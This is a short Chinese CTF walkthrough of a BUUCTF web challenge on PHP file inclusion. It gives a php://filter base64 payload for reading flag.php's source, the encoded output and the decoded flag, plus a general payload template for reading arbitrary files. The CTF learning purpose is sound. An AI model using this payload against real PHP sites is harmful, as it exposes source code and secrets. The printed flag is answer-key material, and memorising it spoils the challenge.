[ACTF2020 新生赛]Include 1【文件包含漏洞】

题目简介

  • 题目名称:[ACTF2020 新生赛]Include 1
  • 题目平台:BUUCTF
  • 题目类型:Web
  • 考察知识点:
    • 文件包含漏洞

解题步骤

1.启动并访问靶机,主页只有一个tips连接,我们访问该链接,发现通过file伪协议,打开了flag.php这个文件,说明存在文件包含漏洞。
[ACTF2020 新生赛]Include 1【文件包含漏洞】_第1张图片
2.既然该文件名为flag.php,那么flag应该就存在于此文件中,但是我们f12并没有查看到flag,猜测flag应该是在flag.php的源代码当中
3.我们可以利用php://filter伪协议来查看flag.php的源代码,构造payload:?file=php://filter/convert.base64-encode/resource=flag.php
4.成功获取到flag.php加密后到源代码内容:PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7OTFkYTNhNjgtODM2My00ODBmLTk0NWMtZjA4NWU1MjkzMjAyfQo=
[ACTF2020 新生赛]Include 1【文件包含漏洞】_第2张图片
5.将其base64解密后,成功获取到flag:flag{91da3a68-8363-480f-945c-f085e5293202}
[ACTF2020 新生赛]Include 1【文件包含漏洞】_第3张图片

知识详解

php://filter

  • 作用:php://filter可以获取指定文件源码。当其与文件包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行,从而读取任意文件源代码。[1]
  • 场景:
    • 知道flag文件地址后,可以直接用该协议读取文件内容
    • 有时候一些关键字被过滤也可以用该协议绕过
    • 有的flag隐藏在注释当中,可通过此协议查看源码获取flag
  • 格式:xxx.php?xxx=php://filter/convert.base64-encode/resource=xxx.php
  • 利用条件:
    • 不受allow_url_include和allow_url_fopen的限制

参考资料

  • [1]:php文件包含漏洞Getshell的不同姿势

分享网络安全学习笔记和CTF真题详解,更多内容欢迎大家关注公众号:【张甲】

你可能感兴趣的:(CTF,BUUCTF,WEB)